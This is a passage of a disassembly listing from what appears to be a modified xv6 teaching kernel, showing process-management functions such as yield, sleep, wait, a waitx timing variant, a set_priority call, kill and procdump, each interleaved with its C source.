c0 7d 10 80 push $0x80107dc0 80104237: e8 54 c1 ff ff call 80100390 <panic> panic("init exiting"); 8010423c: 83 ec 0c sub $0xc,%esp 8010423f: 68 b3 7d 10 80 push $0x80107db3 80104244: e8 47 c1 ff ff call 80100390 <panic> 80104249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104250 <yield>: { 80104250: f3 0f 1e fb endbr32 80104254: 55 push %ebp 80104255: 89 e5 mov %esp,%ebp 80104257: 53 push %ebx 80104258: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 8010425b: 68 40 42 11 80 push $0x80114240 80104260: e8 db 08 00 00 call 80104b40 <acquire> pushcli(); 80104265: e8 d6 07 00 00 call 80104a40 <pushcli> c = mycpu(); 8010426a: e8 91 f6 ff ff call 80103900 <mycpu> p = c->proc; 8010426f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80104275: e8 16 08 00 00 call 80104a90 <popcli> myproc()->state = RUNNABLE; 8010427a: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80104281: e8 ba fd ff ff call 80104040 <sched> release(&ptable.lock); 80104286: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 8010428d: e8 6e 09 00 00 call 80104c00 <release> } 80104292: 8b 5d fc mov -0x4(%ebp),%ebx 80104295: 83 c4 10 add $0x10,%esp 80104298: c9 leave 80104299: c3 ret 8010429a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801042a0 <set_priority>: { 801042a0: f3 0f 1e fb endbr32 801042a4: 55 push %ebp 801042a5: 89 e5 mov %esp,%ebp 801042a7: 57 push %edi 801042a8: 56 push %esi 801042a9: 53 push %ebx for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801042aa: bb 74 42 11 80 mov $0x80114274,%ebx { 801042af: 83 ec 28 sub $0x28,%esp 801042b2: 8b 7d 08 mov 0x8(%ebp),%edi 801042b5: 8b 75 0c mov 0xc(%ebp),%esi acquire(&ptable.lock); 801042b8: 68 40 42 11 80 push $0x80114240 801042bd: e8 7e 08 00 00 call 80104b40 <acquire> 801042c2: 83 c4 10 add $0x10,%esp int old_priority = -1; 801042c5: ba ff ff ff ff mov $0xffffffff,%edx 801042ca: eb 12 jmp 801042de <set_priority+0x3e> 801042cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801042d0: 81 c3 b4 00 00 00 add $0xb4,%ebx 801042d6: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 801042dc: 74 3d je 8010431b <set_priority+0x7b> yieldFlag =0; 801042de: 31 c0 xor %eax,%eax if (p->pid == pid) 801042e0: 39 73 10 cmp %esi,0x10(%ebx) 801042e3: 75 eb jne 801042d0 <set_priority+0x30> cprintf("pid %d p->priority %d new_priority %d\n", pid, p->priority, new_priority); 801042e5: 57 push %edi 801042e6: ff b3 88 00 00 00 pushl 0x88(%ebx) 801042ec: 56 push %esi 801042ed: 68 fc 7e 10 80 push $0x80107efc 801042f2: e8 b9 c3 ff ff call 801006b0 <cprintf> old_priority = p->priority; 801042f7: 8b 93 88 00 00 00 mov 0x88(%ebx),%edx if (old_priority > p->priority) 801042fd: 31 c0 xor %eax,%eax 801042ff: 83 c4 10 add $0x10,%esp p->priority = new_priority; 80104302: 89 bb 88 00 00 00 mov %edi,0x88(%ebx) if (old_priority > p->priority) 80104308: 39 d7 cmp %edx,%edi 8010430a: 0f 9c c0 setl %al for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010430d: 81 c3 b4 00 00 00 add $0xb4,%ebx 80104313: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 80104319: 75 c3 jne 801042de <set_priority+0x3e> if (yieldFlag == 1) 8010431b: 83 f8 01 cmp $0x1,%eax 8010431e: 74 1d je 8010433d <set_priority+0x9d> release(&ptable.lock); 80104320: 83 ec 0c sub $0xc,%esp 80104323: 89 55 e4 mov %edx,-0x1c(%ebp) 80104326: 68 40 42 11 80 push $0x80114240 8010432b: e8 d0 08 00 00 call 80104c00 <release> } 80104330: 8b 55 e4 mov -0x1c(%ebp),%edx 80104333: 8d 65 f4 lea -0xc(%ebp),%esp 80104336: 5b pop %ebx 80104337: 5e pop %esi 80104338: 89 d0 mov %edx,%eax 8010433a: 5f pop %edi 8010433b: 5d pop %ebp 8010433c: c3 ret 8010433d: 89 55 e4 mov %edx,-0x1c(%ebp) yield(); 80104340: e8 0b ff ff ff call 80104250 <yield> 80104345: 8b 55 e4 mov -0x1c(%ebp),%edx 80104348: eb d6 jmp 80104320 <set_priority+0x80> 8010434a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104350 <sleep>: { 80104350: f3 0f 1e fb endbr32 80104354: 55 push %ebp 80104355: 89 e5 mov %esp,%ebp 80104357: 57 push %edi 80104358: 56 push %esi 80104359: 53 push %ebx 8010435a: 83 ec 0c sub $0xc,%esp 8010435d: 8b 7d 08 mov 0x8(%ebp),%edi 80104360: 8b 75 0c mov 0xc(%ebp),%esi pushcli(); 80104363: e8 d8 06 00 00 call 80104a40 <pushcli> c = mycpu(); 80104368: e8 93 f5 ff ff call 80103900 <mycpu> p = c->proc; 8010436d: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80104373: e8 18 07 00 00 call 80104a90 <popcli> if(p == 0) 80104378: 85 db test %ebx,%ebx 8010437a: 0f 84 83 00 00 00 je 80104403 <sleep+0xb3> if(lk == 0) 80104380: 85 f6 test %esi,%esi 80104382: 74 72 je 801043f6 <sleep+0xa6> if(lk != &ptable.lock){ //DOC: sleeplock0 80104384: 81 fe 40 42 11 80 cmp $0x80114240,%esi 8010438a: 74 4c je 801043d8 <sleep+0x88> acquire(&ptable.lock); //DOC: sleeplock1 8010438c: 83 ec 0c sub $0xc,%esp 8010438f: 68 40 42 11 80 push $0x80114240 80104394: e8 a7 07 00 00 call 80104b40 <acquire> release(lk); 80104399: 89 34 24 mov %esi,(%esp) 8010439c: e8 5f 08 00 00 call 80104c00 <release> p->chan = chan; 801043a1: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 801043a4: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 801043ab: e8 90 fc ff ff call 80104040 <sched> p->chan = 0; 801043b0: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 801043b7: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 801043be: e8 3d 08 00 00 call 80104c00 <release> acquire(lk); 801043c3: 89 75 08 mov %esi,0x8(%ebp) 801043c6: 83 c4 10 add $0x10,%esp } 801043c9: 8d 65 f4 lea -0xc(%ebp),%esp 801043cc: 5b pop %ebx 801043cd: 5e pop %esi 801043ce: 5f pop %edi 801043cf: 5d pop %ebp acquire(lk); 801043d0: e9 6b 07 00 00 jmp 80104b40 <acquire> 801043d5: 8d 76 00 lea 0x0(%esi),%esi p->chan = chan; 801043d8: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 801043db: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 801043e2: e8 59 fc ff ff call 80104040 <sched> p->chan = 0; 801043e7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 801043ee: 8d 65 f4 lea -0xc(%ebp),%esp 801043f1: 5b pop %ebx 801043f2: 5e pop %esi 801043f3: 5f pop %edi 801043f4: 5d pop %ebp 801043f5: c3 ret panic("sleep without lk"); 801043f6: 83 ec 0c sub $0xc,%esp 801043f9: 68 d2 7d 10 80 push $0x80107dd2 801043fe: e8 8d bf ff ff call 80100390 <panic> panic("sleep"); 80104403: 83 ec 0c sub $0xc,%esp 80104406: 68 cc 7d 10 80 push $0x80107dcc 8010440b: e8 80 bf ff ff call 80100390 <panic> 80104410 <wait>: { 80104410: f3 0f 1e fb endbr32 80104414: 55 push %ebp 80104415: 89 e5 mov %esp,%ebp 80104417: 56 push %esi 80104418: 53 push %ebx pushcli(); 80104419: e8 22 06 00 00 call 80104a40 <pushcli> c = mycpu(); 8010441e: e8 dd f4 ff ff call 80103900 <mycpu> p = c->proc; 80104423: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80104429: e8 62 06 00 00 call 80104a90 <popcli> acquire(&ptable.lock); 8010442e: 83 ec 0c sub $0xc,%esp 80104431: 68 40 42 11 80 push $0x80114240 80104436: e8 05 07 00 00 call 80104b40 <acquire> 8010443b: 83 c4 10 add $0x10,%esp havekids = 0; 8010443e: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104440: bb 74 42 11 80 mov $0x80114274,%ebx 80104445: eb 17 jmp 8010445e <wait+0x4e> 80104447: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010444e: 66 90 xchg %ax,%ax 80104450: 81 c3 b4 00 00 00 add $0xb4,%ebx 80104456: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 8010445c: 74 1e je 8010447c <wait+0x6c> if(p->parent != curproc) 8010445e: 39 73 14 cmp %esi,0x14(%ebx) 80104461: 75 ed jne 80104450 <wait+0x40> if(p->state == ZOMBIE){ 80104463: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80104467: 74 37 je 801044a0 <wait+0x90> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104469: 81 c3 b4 00 00 00 add $0xb4,%ebx havekids = 1; 8010446f: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104474: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 8010447a: 75 e2 jne 8010445e <wait+0x4e> if(!havekids || curproc->killed){ 8010447c: 85 c0 test %eax,%eax 8010447e: 74 76 je 801044f6 <wait+0xe6> 80104480: 8b 46 24 mov 0x24(%esi),%eax 80104483: 85 c0 test %eax,%eax 80104485: 75 6f jne 801044f6 <wait+0xe6> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80104487: 83 ec 08 sub $0x8,%esp 8010448a: 68 40 42 11 80 push $0x80114240 8010448f: 56 push %esi 80104490: e8 bb fe ff ff call 80104350 <sleep> havekids = 0; 80104495: 83 c4 10 add $0x10,%esp 80104498: eb a4 jmp 8010443e <wait+0x2e> 8010449a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kfree(p->kstack); 801044a0: 83 ec 0c sub $0xc,%esp 801044a3: ff 73 08 pushl 0x8(%ebx) pid = p->pid; 801044a6: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 801044a9: e8 c2 df ff ff call 80102470 <kfree> freevm(p->pgdir); 801044ae: 5a pop %edx 801044af: ff 73 04 pushl 0x4(%ebx) p->kstack = 0; 801044b2: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 801044b9: e8 02 30 00 00 call 801074c0 <freevm> release(&ptable.lock); 801044be: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) p->pid = 0; 801044c5: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 801044cc: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 801044d3: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 801044d7: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 801044de: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 801044e5: e8 16 07 00 00 call 80104c00 <release> return pid; 801044ea: 83 c4 10 add $0x10,%esp } 801044ed: 8d 65 f8 lea -0x8(%ebp),%esp 801044f0: 89 f0 mov %esi,%eax 801044f2: 5b pop %ebx 801044f3: 5e pop %esi 801044f4: 5d pop %ebp 801044f5: c3 ret release(&ptable.lock); 801044f6: 83 ec 0c sub $0xc,%esp return -1; 801044f9: be ff ff ff ff mov $0xffffffff,%esi release(&ptable.lock); 801044fe: 68 40 42 11 80 push $0x80114240 80104503: e8 f8 06 00 00 call 80104c00 <release> return -1; 80104508: 83 c4 10 add $0x10,%esp 8010450b: eb e0 jmp 801044ed <wait+0xdd> 8010450d: 8d 76 00 lea 0x0(%esi),%esi 80104510 <waitx>: { 80104510: f3 0f 1e fb endbr32 80104514: 55 push %ebp 80104515: 89 e5 mov %esp,%ebp 80104517: 56 push %esi 80104518: 53 push %ebx pushcli(); 80104519: e8 22 05 00 00 call 80104a40 <pushcli> c = mycpu(); 8010451e: e8 dd f3 ff ff call 80103900 <mycpu> p = c->proc; 80104523: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80104529: e8 62 05 00 00 call 80104a90 <popcli> acquire(&ptable.lock); 8010452e: 83 ec 0c sub $0xc,%esp 80104531: 68 40 42 11 80 push $0x80114240 80104536: e8 05 06 00 00 call 80104b40 <acquire> 8010453b: 83 c4 10 add $0x10,%esp havekids = 0; 8010453e: 31 c0 xor %eax,%eax for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104540: bb 74 42 11 80 mov $0x80114274,%ebx 80104545: eb 17 jmp 8010455e <waitx+0x4e> 80104547: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010454e: 66 90 xchg %ax,%ax 80104550: 81 c3 b4 00 00 00 add $0xb4,%ebx 80104556: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 8010455c: 74 1e je 8010457c <waitx+0x6c> if (p->parent != curproc) 8010455e: 39 73 14 cmp %esi,0x14(%ebx) 80104561: 75 ed jne 80104550 <waitx+0x40> if (p->state == ZOMBIE) 80104563: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80104567: 74 3f je 801045a8 <waitx+0x98> for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104569: 81 c3 b4 00 00 00 add $0xb4,%ebx havekids = 1; 8010456f: b8 01 00 00 00 mov $0x1,%eax for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104574: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 8010457a: 75 e2 jne 8010455e <waitx+0x4e> if (!havekids || curproc->killed) 8010457c: 85 c0 test %eax,%eax 8010457e: 0f 84 b4 00 00 00 je 80104638 <waitx+0x128> 80104584: 8b 46 24 mov 0x24(%esi),%eax 80104587: 85 c0 test %eax,%eax 80104589: 0f 85 a9 00 00 00 jne 80104638 <waitx+0x128> sleep(curproc, &ptable.lock); //DOC: wait-sleep 8010458f: 83 ec 08 sub $0x8,%esp 80104592: 68 40 42 11 80 push $0x80114240 80104597: 56 push %esi 80104598: e8 b3 fd ff ff call 80104350 <sleep> havekids = 0; 8010459d: 83 c4 10 add $0x10,%esp 801045a0: eb 9c jmp 8010453e <waitx+0x2e> 801045a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *wtime = p->etime - p->ctime - p->rtime; // end time - create time - run time = wait time 801045a8: 8b 55 08 mov 0x8(%ebp),%edx 801045ab: 8b 83 80 00 00 00 mov 0x80(%ebx),%eax kfree(p->kstack); 801045b1: 83 ec 0c sub $0xc,%esp *wtime = p->etime - p->ctime - p->rtime; // end time - create time - run time = wait time 801045b4: 2b 43 7c sub 0x7c(%ebx),%eax 801045b7: 2b 83 84 00 00 00 sub 0x84(%ebx),%eax 801045bd: 89 02 mov %eax,(%edx) *rtime = p->rtime; 801045bf: 8b 45 0c mov 0xc(%ebp),%eax 801045c2: 8b 93 84 00 00 00 mov 0x84(%ebx),%edx 801045c8: 89 10 mov %edx,(%eax) pid = p->pid; 801045ca: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 801045cd: ff 73 08 pushl 0x8(%ebx) p->ctime = 0; 801045d0: c7 43 7c 00 00 00 00 movl $0x0,0x7c(%ebx) p->etime = 0; 801045d7: c7 83 80 00 00 00 00 movl $0x0,0x80(%ebx) 801045de: 00 00 00 p->rtime = 0; 801045e1: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx) 801045e8: 00 00 00 kfree(p->kstack); 801045eb: e8 80 de ff ff call 80102470 <kfree> freevm(p->pgdir); 801045f0: 5a pop %edx 801045f1: ff 73 04 pushl 0x4(%ebx) p->kstack = 0; 801045f4: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 801045fb: e8 c0 2e 00 00 call 801074c0 <freevm> release(&ptable.lock); 80104600: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) p->pid = 0; 80104607: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 8010460e: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80104615: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80104619: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80104620: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80104627: e8 d4 05 00 00 call 80104c00 <release> return pid; 8010462c: 83 c4 10 add $0x10,%esp } 8010462f: 8d 65 f8 lea -0x8(%ebp),%esp 80104632: 89 f0 mov %esi,%eax 80104634: 5b pop %ebx 80104635: 5e pop %esi 80104636: 5d pop %ebp 80104637: c3 ret release(&ptable.lock); 80104638: 83 ec 0c sub $0xc,%esp return -1; 8010463b: be ff ff ff ff mov $0xffffffff,%esi release(&ptable.lock); 80104640: 68 40 42 11 80 push $0x80114240 80104645: e8 b6 05 00 00 call 80104c00 <release> return -1; 8010464a: 83 c4 10 add $0x10,%esp 8010464d: eb e0 jmp 8010462f <waitx+0x11f> 8010464f: 90 nop 80104650 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80104650: f3 0f 1e fb endbr32 80104654: 55 push %ebp 80104655: 89 e5 mov %esp,%ebp 80104657: 53 push %ebx 80104658: 83 ec 10 sub $0x10,%esp 8010465b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 8010465e: 68 40 42 11 80 push $0x80114240 80104663: e8 d8 04 00 00 call 80104b40 <acquire> 80104668: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010466b: b8 74 42 11 80 mov $0x80114274,%eax 80104670: eb 12 jmp 80104684 <wakeup+0x34> 80104672: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104678: 05 b4 00 00 00 add $0xb4,%eax 8010467d: 3d 74 6f 11 80 cmp $0x80116f74,%eax 80104682: 74 1e je 801046a2 <wakeup+0x52> if(p->state == SLEEPING && p->chan == chan) 80104684: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80104688: 75 ee jne 80104678 <wakeup+0x28> 8010468a: 3b 58 20 cmp 0x20(%eax),%ebx 8010468d: 75 e9 jne 80104678 <wakeup+0x28> p->state = RUNNABLE; 8010468f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104696: 05 b4 00 00 00 add $0xb4,%eax 8010469b: 3d 74 6f 11 80 cmp $0x80116f74,%eax 801046a0: 75 e2 jne 80104684 <wakeup+0x34> wakeup1(chan); release(&ptable.lock); 801046a2: c7 45 08 40 42 11 80 movl $0x80114240,0x8(%ebp) } 801046a9: 8b 5d fc mov -0x4(%ebp),%ebx 801046ac: c9 leave release(&ptable.lock); 801046ad: e9 4e 05 00 00 jmp 80104c00 <release> 801046b2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801046b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801046c0 <update_running_time>: // my insert begins //Update running time for running processes void update_running_time() { 801046c0: f3 0f 1e fb endbr32 801046c4: 55 push %ebp 801046c5: 89 e5 mov %esp,%ebp 801046c7: 83 ec 14 sub $0x14,%esp //Acquire process table lock acquire(&ptable.lock); 801046ca: 68 40 42 11 80 push $0x80114240 801046cf: e8 6c 04 00 00 call 80104b40 <acquire> 801046d4: 83 c4 10 add $0x10,%esp struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801046d7: b8 74 42 11 80 mov $0x80114274,%eax 801046dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { // if process is running if (p->state == RUNNING) 801046e0: 83 78 0c 04 cmpl $0x4,0xc(%eax) 801046e4: 75 07 jne 801046ed <update_running_time+0x2d> { //update running time p->rtime++; 801046e6: 83 80 84 00 00 00 01 addl $0x1,0x84(%eax) for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801046ed: 05 b4 00 00 00 add $0xb4,%eax 801046f2: 3d 74 6f 11 80 cmp $0x80116f74,%eax 801046f7: 75 e7 jne 801046e0 <update_running_time+0x20> #endif } } //Release process table lock release(&ptable.lock); 801046f9: 83 ec 0c sub $0xc,%esp 801046fc: 68 40 42 11 80 push $0x80114240 80104701: e8 fa 04 00 00 call 80104c00 <release> } 80104706: 83 c4 10 add $0x10,%esp 80104709: c9 leave 8010470a: c3 ret 8010470b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010470f: 90 nop 80104710 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80104710: f3 0f 1e fb endbr32 80104714: 55 push %ebp 80104715: 89 e5 mov %esp,%ebp 80104717: 53 push %ebx 80104718: 83 ec 10 sub $0x10,%esp 8010471b: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 8010471e: 68 40 42 11 80 push $0x80114240 80104723: e8 18 04 00 00 call 80104b40 <acquire> 80104728: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 8010472b: b8 74 42 11 80 mov $0x80114274,%eax 80104730: eb 12 jmp 80104744 <kill+0x34> 80104732: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104738: 05 b4 00 00 00 add $0xb4,%eax 8010473d: 3d 74 6f 11 80 cmp $0x80116f74,%eax 80104742: 74 34 je 80104778 <kill+0x68> if(p->pid == pid){ 80104744: 39 58 10 cmp %ebx,0x10(%eax) 80104747: 75 ef jne 80104738 <kill+0x28> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80104749: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 8010474d: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80104754: 75 07 jne 8010475d <kill+0x4d> p->state = RUNNABLE; 80104756: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 8010475d: 83 ec 0c sub $0xc,%esp 80104760: 68 40 42 11 80 push $0x80114240 80104765: e8 96 04 00 00 call 80104c00 <release> return 0; } } release(&ptable.lock); return -1; } 8010476a: 8b 5d fc mov -0x4(%ebp),%ebx return 0; 8010476d: 83 c4 10 add $0x10,%esp 80104770: 31 c0 xor %eax,%eax } 80104772: c9 leave 80104773: c3 ret 80104774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80104778: 83 ec 0c sub $0xc,%esp 8010477b: 68 40 42 11 80 push $0x80114240 80104780: e8 7b 04 00 00 call 80104c00 <release> } 80104785: 8b 5d fc mov -0x4(%ebp),%ebx return -1; 80104788: 83 c4 10 add $0x10,%esp 8010478b: b8 ff ff ff ff mov $0xffffffff,%eax } 80104790: c9 leave 80104791: c3 ret 80104792: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801047a0 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 801047a0: f3 0f 1e fb endbr32 801047a4: 55 push %ebp 801047a5: 89 e5 mov %esp,%ebp 801047a7: 57 push %edi 801047a8: 56 push %esi 801047a9: 8d 75 e8 lea -0x18(%ebp),%esi 801047ac: 53 push %ebx 801047ad: bb e0 42 11 80 mov $0x801142e0,%ebx 801047b2: 83 ec 3c sub $0x3c,%esp 801047b5: eb 2b jmp 801047e2 <procdump+0x42> 801047b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801047be: 66 90 xchg %ax,%ax if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 801047c0: 83 ec 0c sub $0xc,%esp 801047c3: 68 71 7d 10 80 push $0x80107d71 801047c8: e8 e3 be ff ff call 801006b0 <cprintf> 801047cd: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801047d0: 81 c3 b4 00 00 00 add $0xb4,%ebx 801047d6: 81 fb e0 6f 11 80 cmp $0x80116fe0,%ebx 801047dc: 0f 84 8e 00 00 00 je 80104870 <procdump+0xd0> if(p->state == UNUSED) 801047e2: 8b 43 a0 mov -0x60(%ebx),%eax 801047e5: 85 c0 test %eax,%eax 801047e7: 74 e7 je 801047d0 <procdump+0x30> state = "???"; 801047e9: ba e3 7d 10 80 mov $0x80107de3,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 801047ee: 83 f8 05 cmp $0x5,%eax 801047f1: 77 11 ja 80104804 <procdump+0x64> 801047f3: 8b 14 85 24 7f 10 80 mov -0x7fef80dc(,%eax,4),%edx state = "???"; 801047fa: b8 e3 7d 10 80 mov $0x80107de3,%eax 801047ff: 85 d2 test %edx,%edx 80104801: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s %d", p->pid, state, p->name, p->priority);//my insert -> priority printed %d 80104804: 83 ec 0c sub $0xc,%esp 80104807: ff 73 1c pushl 0x1c(%ebx) 8010480a: 53 push %ebx 8010480b: 52 push %edx 8010480c: ff 73 a4 pushl -0x5c(%ebx) 8010480f: 68 e7 7d 10 80 push $0x80107de7 80104814: e8 97 be ff ff call 801006b0 <cprintf> if(p->state == SLEEPING){ 80104819: 83 c4 20 add $0x20,%esp 8010481c: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80104820: 75 9e jne 801047c0 <procdump+0x20> getcallerpcs((uint*)p->context->ebp+2, pc); 80104822: 83 ec 08 sub $0x8,%esp 80104825: 8d 45 c0 lea -0x40(%ebp),%eax 80104828: 8d 7d c0 lea -0x40(%ebp),%edi 8010482b: 50 push %eax 8010482c: 8b 43 b0 mov -0x50(%ebx),%eax 8010482f: 8b 40 0c mov 0xc(%eax),%eax 80104832: 83 c0 08 add $0x8,%eax 80104835: 50 push %eax 80104836: e8 a5 01 00 00 call 801049e0 <getcallerpcs> for(i=0; i<10 && pc[i] != 0; i++) 8010483b: 83 c4 10 add $0x10,%esp 8010483e: 66 90 xchg %ax,%ax 80104840: 8b 17 mov (%edi),%edx 80104842: 85 d2 test %edx,%edx 80104844: 0f 84 76 ff ff ff je 801047c0 <procdump+0x20> cprintf(" %p", pc[i]); 8010484a: 83 ec 08 sub $0x8,%esp 8010484d: 83 c7 04 add $0x4,%edi 80104850: 52 push %edx 80104851: 68 21 78 10 80 push $0x80107821 80104856: e8 55 be ff ff call 801006b0 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 8010485b: 83 c4 10 add $0x10,%esp 8010485e: 39 fe cmp %edi,%esi 80104860: 75 de jne 80104840 <procdump+0xa0> 80104862: e9 59 ff ff ff jmp 801047c0 <procdump+0x20> 80104867: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010486e: 66 90 xchg %ax,%ax } } 80104870: 8d 65 f4 lea -0xc(%ebp),%esp 80104873: 5b pop %ebx 80104874: 5e pop %esi 80104875: 5f pop %edi 80104876: 5d pop %ebp 80104877: c3 ret 80104878: 66 90 xchg %ax,%ax 8010487a: 66 90 xchg %ax,%ax 8010487c: 66 90 xchg %ax,%ax 8010487e: 66 90 xchg %ax,%ax 80104880 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80104880: f3 0f 1e fb endbr32 80104884: 55 push %ebp 80104885: 89 e5 mov %esp,%ebp 80104887: 53 push %ebx 80104888: 83 ec 0c sub $0xc,%esp 8010488b: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 8010488e: 68 54 7f 10 80 push $0x80107f54 80104893: 8d 43 04 lea 0x4(%ebx),%eax 80104896: 50 push %eax 80104897: e8 24 01 00 00 call 801049c0 <initlock> lk->name = name; 8010489c: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 8010489f: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 801048a5: 83 c4 10 add $0x10,%esp lk->pid = 0; 801048a8: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 801048af: 89 43 38 mov %eax,0x38(%ebx) } 801048b2: 8b 5d fc mov -0x4(%ebp),%ebx 801048b5: c9 leave 801048b6: c3 ret 801048b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801048be: 66 90 xchg %ax,%ax 801048c0 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 801048c0: f3 0f 1e fb endbr32 801048c4: 55 push %ebp 801048c5: 89 e5 mov %esp,%ebp 801048c7: 56 push %esi 801048c8: 53 push %ebx 801048c9: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 801048cc: 8d 73 04 lea 0x4(%ebx),%esi 801048cf: 83 ec 0c sub $0xc,%esp 801048d2: 56 push %esi 801048d3: e8 68 02 00 00 call 80104b40 <acquire> while (lk->locked) { 801048d8: 8b 13 mov (%ebx),%edx 801048da: 83 c4 10 add $0x10,%esp 801048dd: 85 d2 test %edx,%edx 801048df: 74 1a je 801048fb <acquiresleep+0x3b> 801048e1: 8d 